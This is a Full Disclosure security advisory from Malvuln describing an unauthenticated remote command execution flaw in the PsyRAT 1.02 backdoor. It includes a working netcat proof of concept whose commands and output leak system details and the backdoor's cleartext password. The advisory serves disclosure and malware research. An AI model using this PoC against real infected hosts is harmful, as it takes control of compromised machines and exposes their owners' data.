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Date: Mon, 26 Jul 2021 08:32:21 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.PsyRat.b / Unauthenticated Remote Command
	Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/5817183894cb513239f6aef28895130c.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.PsyRat.b
Vulnerability: Unauthenticated Remote Command Execution
Description: The PsyRAT 1.02 malware listens by default on TCP port 9863,
but can be changed when building backdoor servers. Third-party attackers
who can reach infected systems can execute commands made available by the
backdoor. The backdoors cpuinfo command will leak system details including
cleartext password.
Type: PE32
MD5: 5817183894cb513239f6aef28895130c
Vuln ID: MVID-2021-0306
Dropped files: server.exe
Disclosure: 07/26/2021

Exploit/PoC:
nc64.exe x.x.x.x 9863
PASS
BADPWD
Invalid command
whatami
you are a loser
whatismyip
192.168.18.130
cpuinfo
Windows Version: |System Directory: C:\WINDOWS\system32|Computer Name:
DESKTOP-3C4IJHO|Username: Victim|CPU Speed: 2808 MHz|CPU Type:
GenuineIntel|------|PsyRAT Version: PsyRAT 1.02|IP/Port:
192.168.18.130:9863|Password:
abc123|Install name: winhost.exe|Reg value: Windows Host|PHP URL:
http://yourdomain.com/log.php
Invalid command.
version
PsyRAT 0.01 BETA

getdrives
C:\ - Fixed Drive^D:\ - CD-ROM^


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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